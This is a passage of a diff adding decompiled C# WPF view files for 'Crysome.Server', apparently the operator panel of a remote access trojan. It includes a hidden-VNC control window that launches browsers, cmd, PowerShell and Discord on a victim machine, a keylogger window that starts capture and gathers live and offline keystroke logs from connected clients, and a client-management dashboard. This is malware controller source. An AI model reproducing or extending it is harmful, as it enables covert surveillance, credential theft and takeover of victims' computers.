//IL_0213: Expected O, but got Unknown
|
||||
//IL_0215: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_022b: Expected O, but got Unknown
|
||||
//IL_022d: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0243: Expected O, but got Unknown
|
||||
//IL_0245: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_025b: Expected O, but got Unknown
|
||||
//IL_025d: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0273: Expected O, but got Unknown
|
||||
//IL_0275: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_028b: Expected O, but got Unknown
|
||||
//IL_028d: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_02a3: Expected O, but got Unknown
|
||||
//IL_02a5: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_02bb: Expected O, but got Unknown
|
||||
//IL_02bd: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_02d3: Expected O, but got Unknown
|
||||
//IL_02d5: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_02eb: Expected O, but got Unknown
|
||||
//IL_02ed: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0303: Expected O, but got Unknown
|
||||
//IL_0305: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_031b: Expected O, but got Unknown
|
||||
//IL_031d: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0333: Expected O, but got Unknown
|
||||
//IL_0336: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0340: Expected O, but got Unknown
|
||||
//IL_0343: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_034d: Expected O, but got Unknown
|
||||
//IL_0350: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_035a: Expected O, but got Unknown
|
||||
switch (connectionId)
|
||||
{
|
||||
case 1:
|
||||
((Grid)target).PreviewKeyDown += Window_PreviewKeyDown;
|
||||
((Grid)target).PreviewKeyUp += Window_PreviewKeyUp;
|
||||
break;
|
||||
case 2:
|
||||
((Border)target).MouseLeftButtonDown += Header_MouseLeftButtonDown;
|
||||
break;
|
||||
case 3:
|
||||
TitleText = (TextBlock)target;
|
||||
break;
|
||||
case 4:
|
||||
StartBtn = (Button)target;
|
||||
((ButtonBase)(object)StartBtn).Click += StartBtn_Click;
|
||||
break;
|
||||
case 5:
|
||||
StopBtn = (Button)target;
|
||||
((ButtonBase)(object)StopBtn).Click += StopBtn_Click;
|
||||
break;
|
||||
case 6:
|
||||
CloseBtn = (Button)target;
|
||||
((ButtonBase)(object)CloseBtn).Click += CloseBtn_Click;
|
||||
break;
|
||||
case 7:
|
||||
HvncViewbox = (Viewbox)target;
|
||||
break;
|
||||
case 8:
|
||||
HvncImage = (Image)target;
|
||||
HvncImage.MouseMove += HvncImage_MouseMove;
|
||||
HvncImage.MouseLeftButtonDown += HvncImage_MouseDown;
|
||||
HvncImage.MouseLeftButtonUp += HvncImage_MouseUp;
|
||||
HvncImage.MouseRightButtonDown += HvncImage_MouseDown;
|
||||
HvncImage.MouseRightButtonUp += HvncImage_MouseUp;
|
||||
HvncImage.PreviewKeyDown += HvncImage_PreviewKeyDown;
|
||||
HvncImage.PreviewKeyUp += HvncImage_PreviewKeyUp;
|
||||
break;
|
||||
case 9:
|
||||
((ButtonBase)(Button)target).Click += RunExplorer_Click;
|
||||
break;
|
||||
case 10:
|
||||
((ButtonBase)(Button)target).Click += RunRunDialog_Click;
|
||||
break;
|
||||
case 11:
|
||||
((ButtonBase)(Button)target).Click += RunCmd_Click;
|
||||
break;
|
||||
case 12:
|
||||
((ButtonBase)(Button)target).Click += RunPowerShell_Click;
|
||||
break;
|
||||
case 13:
|
||||
((ButtonBase)(Button)target).Click += RunEdge_Click;
|
||||
break;
|
||||
case 14:
|
||||
((ButtonBase)(Button)target).Click += RunChrome_Click;
|
||||
break;
|
||||
case 15:
|
||||
((ButtonBase)(Button)target).Click += RunFirefox_Click;
|
||||
break;
|
||||
case 16:
|
||||
((ButtonBase)(Button)target).Click += RunOpera_Click;
|
||||
break;
|
||||
case 17:
|
||||
((ButtonBase)(Button)target).Click += RunOperaGX_Click;
|
||||
break;
|
||||
case 18:
|
||||
((ButtonBase)(Button)target).Click += RunBrave_Click;
|
||||
break;
|
||||
case 19:
|
||||
((ButtonBase)(Button)target).Click += RunDiscord_Click;
|
||||
break;
|
||||
case 20:
|
||||
((ButtonBase)(Button)target).Click += RunNotepad_Click;
|
||||
break;
|
||||
case 21:
|
||||
((ButtonBase)(Button)target).Click += RunCalculator_Click;
|
||||
break;
|
||||
case 22:
|
||||
CloneControlSwitch = (ToggleSwitch)target;
|
||||
break;
|
||||
case 23:
|
||||
MouseControlSwitch = (ToggleSwitch)target;
|
||||
break;
|
||||
case 24:
|
||||
KeyboardControlSwitch = (ToggleSwitch)target;
|
||||
break;
|
||||
case 25:
|
||||
StatusText = (TextBlock)target;
|
||||
break;
|
||||
case 26:
|
||||
FpsText = (TextBlock)target;
|
||||
break;
|
||||
case 27:
|
||||
IntervalSlider = (Slider)target;
|
||||
break;
|
||||
case 28:
|
||||
IntervalLabel = (TextBlock)target;
|
||||
break;
|
||||
case 29:
|
||||
QualityCombo = (ComboBox)target;
|
||||
break;
|
||||
default:
|
||||
_contentLoaded = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,224 @@
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Windows;
|
||||
using System.Windows.Controls;
|
||||
using System.Windows.Controls.Primitives;
|
||||
using System.Windows.Input;
|
||||
using System.Windows.Markup;
|
||||
using System.Windows.Threading;
|
||||
using Crysome.Server.Model;
|
||||
using Crysome.Server.ViewModel;
|
||||
using Wpf.Ui.Controls;
|
||||
|
||||
namespace Crysome.Server.View;
|
||||
|
||||
public class KeyloggerWindow : FluentWindow, IComponentConnector
|
||||
{
|
||||
private readonly ClientInfo _client;
|
||||
|
||||
private readonly ManageClientsViewModel _vm;
|
||||
|
||||
private bool _running;
|
||||
|
||||
internal TextBlock TitleText;
|
||||
|
||||
internal Button StartBtn;
|
||||
|
||||
internal Button StopBtn;
|
||||
|
||||
internal Button ClearBtn;
|
||||
|
||||
internal Button CloseBtn;
|
||||
|
||||
internal TextBox LogBox;
|
||||
|
||||
internal Button RequestOfflineBtn;
|
||||
|
||||
internal TextBox OfflineLogBox;
|
||||
|
||||
internal TextBlock StatusText;
|
||||
|
||||
private bool _contentLoaded;
|
||||
|
||||
public KeyloggerWindow(ClientInfo client, ManageClientsViewModel vm)
|
||||
{
|
||||
InitializeComponent();
|
||||
_client = client;
|
||||
_vm = vm;
|
||||
((Window)this).Title = "Keylogger — " + (client?.Address ?? "?");
|
||||
TitleText.Text = ((Window)this).Title;
|
||||
((Window)this).Closed += OnWindowClosed;
|
||||
if (!string.IsNullOrEmpty(client?.OfflineKeylogData))
|
||||
{
|
||||
OfflineLogBox.Text = client.OfflineKeylogData;
|
||||
}
|
||||
}
|
||||
|
||||
private void OnWindowClosed(object sender, EventArgs e)
|
||||
{
|
||||
if (_running)
|
||||
{
|
||||
_vm.StopKeylogger(_client);
|
||||
}
|
||||
_vm.UnregisterOfflineKeylogCallback(_client?.Owner);
|
||||
}
|
||||
|
||||
private void StartBtn_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
_running = true;
|
||||
((UIElement)(object)StartBtn).IsEnabled = false;
|
||||
((UIElement)(object)StopBtn).IsEnabled = true;
|
||||
StatusText.Text = "Capturing keystrokes...";
|
||||
LogBox.Clear();
|
||||
_vm.StartKeylogger(_client, AppendLog);
|
||||
_vm.RegisterOfflineKeylogCallback(_client?.Owner, AppendOfflineLog);
|
||||
}
|
||||
|
||||
private void StopBtn_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
_running = false;
|
||||
((UIElement)(object)StartBtn).IsEnabled = true;
|
||||
((UIElement)(object)StopBtn).IsEnabled = false;
|
||||
StatusText.Text = "Stopped.";
|
||||
_vm.StopKeylogger(_client);
|
||||
}
|
||||
|
||||
private void ClearBtn_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
LogBox.Clear();
|
||||
OfflineLogBox.Clear();
|
||||
}
|
||||
|
||||
private void OfflineTab_Selected(object sender, RoutedEventArgs e)
|
||||
{
|
||||
if (string.IsNullOrEmpty(OfflineLogBox.Text) && !string.IsNullOrEmpty(_client?.OfflineKeylogData))
|
||||
{
|
||||
OfflineLogBox.Text = _client.OfflineKeylogData;
|
||||
}
|
||||
_vm.RegisterOfflineKeylogCallback(_client?.Owner, AppendOfflineLog);
|
||||
}
|
||||
|
||||
private void TabControl_SelectionChanged(object sender, SelectionChangedEventArgs e)
|
||||
{
|
||||
if (sender is TabControl { SelectedIndex: 1 })
|
||||
{
|
||||
OfflineTab_Selected(sender, null);
|
||||
}
|
||||
}
|
||||
|
||||
private void RequestOfflineBtn_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
OfflineLogBox.AppendText("\n[Offline data request triggered — awaiting upload from client...]\n");
|
||||
OfflineLogBox.ScrollToEnd();
|
||||
StatusText.Text = "Offline data will arrive automatically on next reconnect.";
|
||||
}
|
||||
|
||||
private void AppendLog(string data)
|
||||
{
|
||||
((DispatcherObject)this).Dispatcher.BeginInvoke((Delegate)(Action)delegate
|
||||
{
|
||||
LogBox.AppendText(data);
|
||||
LogBox.ScrollToEnd();
|
||||
}, Array.Empty<object>());
|
||||
}
|
||||
|
||||
private void AppendOfflineLog(string data, bool isOffline)
|
||||
{
|
||||
((DispatcherObject)this).Dispatcher.BeginInvoke((Delegate)(Action)delegate
|
||||
{
|
||||
OfflineLogBox.AppendText(data);
|
||||
OfflineLogBox.ScrollToEnd();
|
||||
}, Array.Empty<object>());
|
||||
}
|
||||
|
||||
private void CloseBtn_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
((Window)this).Close();
|
||||
}
|
||||
|
||||
private void Header_MouseLeftButtonDown(object sender, MouseButtonEventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
((Window)this).DragMove();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
public void InitializeComponent()
|
||||
{
|
||||
if (!_contentLoaded)
|
||||
{
|
||||
_contentLoaded = true;
|
||||
Uri resourceLocator = new Uri("/Crysome.Server;component/view/keyloggerwindow.xaml", UriKind.Relative);
|
||||
Application.LoadComponent(this, resourceLocator);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
void IComponentConnector.Connect(int connectionId, object target)
|
||||
{
|
||||
//IL_0060: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_006a: Expected O, but got Unknown
|
||||
//IL_0084: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_008e: Expected O, but got Unknown
|
||||
//IL_00a8: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_00b2: Expected O, but got Unknown
|
||||
//IL_00cc: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_00d6: Expected O, but got Unknown
|
||||
//IL_0115: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_011f: Expected O, but got Unknown
|
||||
switch (connectionId)
|
||||
{
|
||||
case 1:
|
||||
((Border)target).MouseLeftButtonDown += Header_MouseLeftButtonDown;
|
||||
break;
|
||||
case 2:
|
||||
TitleText = (TextBlock)target;
|
||||
break;
|
||||
case 3:
|
||||
StartBtn = (Button)target;
|
||||
((ButtonBase)(object)StartBtn).Click += StartBtn_Click;
|
||||
break;
|
||||
case 4:
|
||||
StopBtn = (Button)target;
|
||||
((ButtonBase)(object)StopBtn).Click += StopBtn_Click;
|
||||
break;
|
||||
case 5:
|
||||
ClearBtn = (Button)target;
|
||||
((ButtonBase)(object)ClearBtn).Click += ClearBtn_Click;
|
||||
break;
|
||||
case 6:
|
||||
CloseBtn = (Button)target;
|
||||
((ButtonBase)(object)CloseBtn).Click += CloseBtn_Click;
|
||||
break;
|
||||
case 7:
|
||||
((TabControl)target).SelectionChanged += TabControl_SelectionChanged;
|
||||
break;
|
||||
case 8:
|
||||
LogBox = (TextBox)target;
|
||||
break;
|
||||
case 9:
|
||||
RequestOfflineBtn = (Button)target;
|
||||
((ButtonBase)(object)RequestOfflineBtn).Click += RequestOfflineBtn_Click;
|
||||
break;
|
||||
case 10:
|
||||
OfflineLogBox = (TextBox)target;
|
||||
break;
|
||||
case 11:
|
||||
StatusText = (TextBlock)target;
|
||||
break;
|
||||
default:
|
||||
_contentLoaded = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,165 @@
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.Collections;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Windows;
|
||||
using System.Windows.Controls;
|
||||
using System.Windows.Controls.Primitives;
|
||||
using System.Windows.Markup;
|
||||
using System.Windows.Media;
|
||||
using Microsoft.Win32;
|
||||
using Wpf.Ui.Controls;
|
||||
|
||||
namespace Crysome.Server.View;
|
||||
|
||||
public class LanguageWindow : FluentWindow, IComponentConnector
|
||||
{
|
||||
private static readonly string SavedLangPath = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "language.dat");
|
||||
|
||||
internal TitleBar TitleBarControl;
|
||||
|
||||
internal TextBlock SelectLabel;
|
||||
|
||||
internal ComboBox LanguageComboBox;
|
||||
|
||||
internal Button ContinueButton;
|
||||
|
||||
private bool _contentLoaded;
|
||||
|
||||
public string SelectedCultureTag { get; private set; } = "en";
|
||||
|
||||
public LanguageWindow()
|
||||
{
|
||||
InitializeComponent();
|
||||
ApplyBackdrop();
|
||||
PreSelectSavedLanguage();
|
||||
}
|
||||
|
||||
private void PreSelectSavedLanguage()
|
||||
{
|
||||
string text = LoadSavedLanguage();
|
||||
foreach (ComboBoxItem item in (IEnumerable)LanguageComboBox.Items)
|
||||
{
|
||||
if (item.Tag as string == text)
|
||||
{
|
||||
LanguageComboBox.SelectedItem = item;
|
||||
return;
|
||||
}
|
||||
}
|
||||
LanguageComboBox.SelectedIndex = 0;
|
||||
}
|
||||
|
||||
private static string LoadSavedLanguage()
|
||||
{
|
||||
try
|
||||
{
|
||||
if (File.Exists(SavedLangPath))
|
||||
{
|
||||
string text = File.ReadAllText(SavedLangPath)?.Trim();
|
||||
if (!string.IsNullOrEmpty(text))
|
||||
{
|
||||
return text;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
return "en";
|
||||
}
|
||||
|
||||
private void SaveLanguage(string tag)
|
||||
{
|
||||
try
|
||||
{
|
||||
File.WriteAllText(SavedLangPath, tag);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private void ContinueButton_Click(object sender, RoutedEventArgs e)
|
||||
{
|
||||
if (LanguageComboBox.SelectedItem is ComboBoxItem { Tag: string tag })
|
||||
{
|
||||
SelectedCultureTag = tag;
|
||||
SaveLanguage(tag);
|
||||
}
|
||||
((Window)this).DialogResult = true;
|
||||
((Window)this).Close();
|
||||
}
|
||||
|
||||
private void ApplyBackdrop()
|
||||
{
|
||||
if (IsWindows11OrNewer())
|
||||
{
|
||||
((FluentWindow)this).ExtendsContentIntoTitleBar = true;
|
||||
((FluentWindow)this).WindowBackdropType = (WindowBackdropType)2;
|
||||
}
|
||||
else
|
||||
{
|
||||
((Control)this).Background = new SolidColorBrush(Color.FromRgb(32, 32, 32));
|
||||
}
|
||||
}
|
||||
|
||||
private static bool IsWindows11OrNewer()
|
||||
{
|
||||
try
|
||||
{
|
||||
using RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion");
|
||||
if (registryKey?.GetValue("CurrentBuild") is string s && int.TryParse(s, out var result))
|
||||
{
|
||||
return result >= 22000;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
public void InitializeComponent()
|
||||
{
|
||||
if (!_contentLoaded)
|
||||
{
|
||||
_contentLoaded = true;
|
||||
Uri resourceLocator = new Uri("/Crysome.Server;component/view/languagewindow.xaml", UriKind.Relative);
|
||||
Application.LoadComponent(this, resourceLocator);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
void IComponentConnector.Connect(int connectionId, object target)
|
||||
{
|
||||
//IL_001c: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0026: Expected O, but got Unknown
|
||||
//IL_0043: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_004d: Expected O, but got Unknown
|
||||
switch (connectionId)
|
||||
{
|
||||
case 1:
|
||||
TitleBarControl = (TitleBar)target;
|
||||
break;
|
||||
case 2:
|
||||
SelectLabel = (TextBlock)target;
|
||||
break;
|
||||
case 3:
|
||||
LanguageComboBox = (ComboBox)target;
|
||||
break;
|
||||
case 4:
|
||||
ContinueButton = (Button)target;
|
||||
((ButtonBase)(object)ContinueButton).Click += ContinueButton_Click;
|
||||
break;
|
||||
default:
|
||||
_contentLoaded = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,334 @@
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Linq;
|
||||
using System.Windows;
|
||||
using System.Windows.Controls;
|
||||
using System.Windows.Input;
|
||||
using System.Windows.Markup;
|
||||
using System.Windows.Media;
|
||||
using System.Windows.Shapes;
|
||||
using System.Windows.Threading;
|
||||
using Crysome.Common.Network;
|
||||
using Crysome.Server.Model;
|
||||
using Crysome.Server.ViewModel;
|
||||
|
||||
namespace Crysome.Server.View;
|
||||
|
||||
public class ManageClients : UserControl, IComponentConnector
|
||||
{
|
||||
private readonly DispatcherTimer _animTimer = new DispatcherTimer
|
||||
{
|
||||
Interval = TimeSpan.FromMilliseconds(16L, 0L)
|
||||
};
|
||||
|
||||
private readonly DispatcherTimer _statsTimer = new DispatcherTimer
|
||||
{
|
||||
Interval = TimeSpan.FromMilliseconds(800L, 0L)
|
||||
};
|
||||
|
||||
private readonly double[] _dotX = new double[5] { 0.0, 30.0, 60.0, 90.0, 120.0 };
|
||||
|
||||
private readonly double[] _dotSpeed = new double[5] { 2.8, 2.1, 3.3, 1.9, 2.5 };
|
||||
|
||||
private const double CanvasWidth = 170.0;
|
||||
|
||||
private readonly TranslateTransform[] _dotTx;
|
||||
|
||||
internal ManageClients TheControl;
|
||||
|
||||
internal Canvas PacketCanvas;
|
||||
|
||||
internal Ellipse Dot0;
|
||||
|
||||
internal TranslateTransform DotTx0;
|
||||
|
||||
internal Ellipse Dot1;
|
||||
|
||||
internal TranslateTransform DotTx1;
|
||||
|
||||
internal Ellipse Dot2;
|
||||
|
||||
internal TranslateTransform DotTx2;
|
||||
|
||||
internal Ellipse Dot3;
|
||||
|
||||
internal TranslateTransform DotTx3;
|
||||
|
||||
internal Ellipse Dot4;
|
||||
|
||||
internal TranslateTransform DotTx4;
|
||||
|
||||
internal Border ThroughputBar;
|
||||
|
||||
internal TextBlock ThroughputText;
|
||||
|
||||
internal Border QualityBar;
|
||||
|
||||
internal TextBlock QualityBarText;
|
||||
|
||||
internal TextBlock RttText;
|
||||
|
||||
internal TextBlock LossText;
|
||||
|
||||
internal TextBlock TxText;
|
||||
|
||||
internal TextBlock RxText;
|
||||
|
||||
internal TextBlock ClientsCountText;
|
||||
|
||||
internal TextBlock AdaptiveLevelText;
|
||||
|
||||
internal DataGrid ClientsGrid;
|
||||
|
||||
private bool _contentLoaded;
|
||||
|
||||
public ManageClients()
|
||||
{
|
||||
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0006: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_001b: Expected O, but got Unknown
|
||||
//IL_001c: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0021: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0039: Expected O, but got Unknown
|
||||
InitializeComponent();
|
||||
_dotTx = new TranslateTransform[5] { DotTx0, DotTx1, DotTx2, DotTx3, DotTx4 };
|
||||
_animTimer.Tick += AnimTimer_Tick;
|
||||
_statsTimer.Tick += StatsTimer_Tick;
|
||||
_animTimer.Start();
|
||||
_statsTimer.Start();
|
||||
base.Unloaded += delegate
|
||||
{
|
||||
_animTimer.Stop();
|
||||
_statsTimer.Stop();
|
||||
};
|
||||
}
|
||||
|
||||
private void AnimTimer_Tick(object sender, EventArgs e)
|
||||
{
|
||||
for (int i = 0; i < _dotTx.Length; i++)
|
||||
{
|
||||
_dotX[i] += _dotSpeed[i];
|
||||
if (_dotX[i] > 180.0)
|
||||
{
|
||||
_dotX[i] = -10.0;
|
||||
}
|
||||
_dotTx[i].X = _dotX[i];
|
||||
}
|
||||
}
|
||||
|
||||
private void StatsTimer_Tick(object sender, EventArgs e)
|
||||
{
|
||||
if (!(base.DataContext is ManageClientsViewModel manageClientsViewModel))
|
||||
{
|
||||
return;
|
||||
}
|
||||
List<CrysomeClient> clientSnapshot = manageClientsViewModel.GetClientSnapshot();
|
||||
ClientsCountText.Text = clientSnapshot.Count.ToString();
|
||||
if (clientSnapshot.Count == 0)
|
||||
{
|
||||
RttText.Text = "— ms";
|
||||
LossText.Text = "0.0 %";
|
||||
TxText.Text = "0 B";
|
||||
RxText.Text = "0 B";
|
||||
ThroughputBar.Width = 0.0;
|
||||
ThroughputText.Text = "0 KB/s";
|
||||
QualityBar.Width = 170.0;
|
||||
QualityBarText.Text = "Idle";
|
||||
AdaptiveLevelText.Text = " · —";
|
||||
return;
|
||||
}
|
||||
double num = 0.0;
|
||||
double num2 = 0.0;
|
||||
long num3 = 0L;
|
||||
long num4 = 0L;
|
||||
foreach (CrysomeClient item in clientSnapshot)
|
||||
{
|
||||
num += item.RttMs;
|
||||
num2 += item.LossRate;
|
||||
num3 += item.BytesSent;
|
||||
num4 += item.BytesRecv;
|
||||
}
|
||||
double num5 = num / (double)clientSnapshot.Count;
|
||||
double num6 = num2 / (double)clientSnapshot.Count * 100.0;
|
||||
RttText.Text = $"{num5:F0} ms";
|
||||
LossText.Text = $"{num6:F1} %";
|
||||
TxText.Text = FormatBytes(num3);
|
||||
RxText.Text = FormatBytes(num4);
|
||||
double num7 = (double)(num3 + num4) / 1024.0 / 0.8;
|
||||
double val = Math.Min(170.0, num7 / 500.0 * 170.0);
|
||||
ThroughputBar.Width = Math.Max(0.0, val);
|
||||
ThroughputText.Text = $"{num7:F0} KB/s";
|
||||
double num8 = Math.Min(1.0, num6 / 100.0 * 0.6 + num5 / 2000.0 * 0.4);
|
||||
double width = Math.Max(10.0, (1.0 - num8) * 170.0);
|
||||
QualityBar.Width = width;
|
||||
if (num8 < 0.1)
|
||||
{
|
||||
QualityBar.Background = new SolidColorBrush(Color.FromRgb(129, 199, 132));
|
||||
QualityBarText.Text = "Excellent";
|
||||
AdaptiveLevelText.Text = " · HD";
|
||||
}
|
||||
else if (num8 < 0.3)
|
||||
{
|
||||
QualityBar.Background = new SolidColorBrush(Color.FromRgb(79, 195, 247));
|
||||
QualityBarText.Text = "Good";
|
||||
AdaptiveLevelText.Text = " · Good";
|
||||
}
|
||||
else if (num8 < 0.6)
|
||||
{
|
||||
QualityBar.Background = new SolidColorBrush(Color.FromRgb(byte.MaxValue, 183, 77));
|
||||
QualityBarText.Text = "Fair";
|
||||
AdaptiveLevelText.Text = " · Fair";
|
||||
}
|
||||
else
|
||||
{
|
||||
QualityBar.Background = new SolidColorBrush(Color.FromRgb(239, 83, 80));
|
||||
QualityBarText.Text = "Poor";
|
||||
AdaptiveLevelText.Text = " · Low";
|
||||
}
|
||||
LossText.Foreground = ((num6 < 1.0) ? new SolidColorBrush(Color.FromRgb(129, 199, 132)) : ((num6 < 5.0) ? new SolidColorBrush(Color.FromRgb(byte.MaxValue, 183, 77)) : new SolidColorBrush(Color.FromRgb(239, 83, 80))));
|
||||
double num9 = 1.0 + Math.Min(2.0, num7 / 100.0);
|
||||
for (int i = 0; i < _dotSpeed.Length; i++)
|
||||
{
|
||||
_dotSpeed[i] = (1.5 + (double)i * 0.4) * num9;
|
||||
}
|
||||
}
|
||||
|
||||
private static string FormatBytes(long b)
|
||||
{
|
||||
if (b < 1024)
|
||||
{
|
||||
return b + " B";
|
||||
}
|
||||
if (b < 1048576)
|
||||
{
|
||||
return ((double)b / 1024.0).ToString("F1") + " KB";
|
||||
}
|
||||
return ((double)b / 1024.0 / 1024.0).ToString("F1") + " MB";
|
||||
}
|
||||
|
||||
private void ClientsGrid_SelectionChanged(object sender, SelectionChangedEventArgs e)
|
||||
{
|
||||
if (base.DataContext is ManageClientsViewModel manageClientsViewModel && sender is DataGrid dataGrid)
|
||||
{
|
||||
List<ClientInfo> items = dataGrid.SelectedItems.Cast<ClientInfo>().ToList();
|
||||
manageClientsViewModel.SyncSelectedClients(items);
|
||||
}
|
||||
}
|
||||
|
||||
private void ClientsGrid_PreviewKeyDown(object sender, KeyEventArgs e)
|
||||
{
|
||||
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0008: Invalid comparison between Unknown and I4
|
||||
//IL_000a: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0010: Invalid comparison between Unknown and I4
|
||||
if ((int)e.Key == 44 && (int)Keyboard.Modifiers == 2 && sender is DataGrid dataGrid)
|
||||
{
|
||||
dataGrid.SelectAll();
|
||||
e.Handled = true;
|
||||
}
|
||||
}
|
||||
|
||||
private void ClientsGrid_LostFocus(object sender, RoutedEventArgs e)
|
||||
{
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
public void InitializeComponent()
|
||||
{
|
||||
if (!_contentLoaded)
|
||||
{
|
||||
_contentLoaded = true;
|
||||
Uri resourceLocator = new Uri("/Crysome.Server;component/view/manageclients.xaml", UriKind.Relative);
|
||||
Application.LoadComponent(this, resourceLocator);
|
||||
}
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
void IComponentConnector.Connect(int connectionId, object target)
|
||||
{
|
||||
switch (connectionId)
|
||||
{
|
||||
case 1:
|
||||
TheControl = (ManageClients)target;
|
||||
break;
|
||||
case 2:
|
||||
PacketCanvas = (Canvas)target;
|
||||
break;
|
||||
case 3:
|
||||
Dot0 = (Ellipse)target;
|
||||
break;
|
||||
case 4:
|
||||
DotTx0 = (TranslateTransform)target;
|
||||
break;
|
||||
case 5:
|
||||
Dot1 = (Ellipse)target;
|
||||
break;
|
||||
case 6:
|
||||
DotTx1 = (TranslateTransform)target;
|
||||
break;
|
||||
case 7:
|
||||
Dot2 = (Ellipse)target;
|
||||
break;
|
||||
case 8:
|
||||
DotTx2 = (TranslateTransform)target;
|
||||
break;
|
||||
case 9:
|
||||
Dot3 = (Ellipse)target;
|
||||
break;
|
||||
case 10:
|
||||
DotTx3 = (TranslateTransform)target;
|
||||
break;
|
||||
case 11:
|
||||
Dot4 = (Ellipse)target;
|
||||
break;
|
||||
case 12:
|
||||
DotTx4 = (TranslateTransform)target;
|
||||
break;
|
||||
case 13:
|
||||
ThroughputBar = (Border)target;
|
||||
break;
|
||||
case 14:
|
||||
ThroughputText = (TextBlock)target;
|
||||
break;
|
||||
case 15:
|
||||
QualityBar = (Border)target;
|
||||
break;
|
||||
case 16:
|
||||
QualityBarText = (TextBlock)target;
|
||||
break;
|
||||
case 17:
|
||||
RttText = (TextBlock)target;
|
||||
break;
|
||||
case 18:
|
||||
LossText = (TextBlock)target;
|
||||
break;
|
||||
case 19:
|
||||
TxText = (TextBlock)target;
|
||||
break;
|
||||
case 20:
|
||||
RxText = (TextBlock)target;
|
||||
break;
|
||||
case 21:
|
||||
ClientsCountText = (TextBlock)target;
|
||||
break;
|
||||
case 22:
|
||||
AdaptiveLevelText = (TextBlock)target;
|
||||
break;
|
||||
case 23:
|
||||
ClientsGrid = (DataGrid)target;
|
||||
ClientsGrid.SelectionChanged += ClientsGrid_SelectionChanged;
|
||||
ClientsGrid.PreviewKeyDown += ClientsGrid_PreviewKeyDown;
|
||||
ClientsGrid.LostFocus += ClientsGrid_LostFocus;
|
||||
break;
|
||||
default:
|
||||
_contentLoaded = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
using System;
|
||||
using System.CodeDom.Compiler;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Windows;
|
||||
using System.Windows.Controls;
|
||||
using System.Windows.Markup;
|
||||
|
||||
namespace Crysome.Server.View;
|
||||
|
||||
public class PluginManagerTab : UserControl, IComponentConnector
|
||||
{
|
||||
private bool _contentLoaded;
|
||||
|
||||
public PluginManagerTab()
|
||||
{
|
||||
InitializeComponent();
|
||||
}
|
||||
|
||||
[DebuggerNonUserCode]
|
||||
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
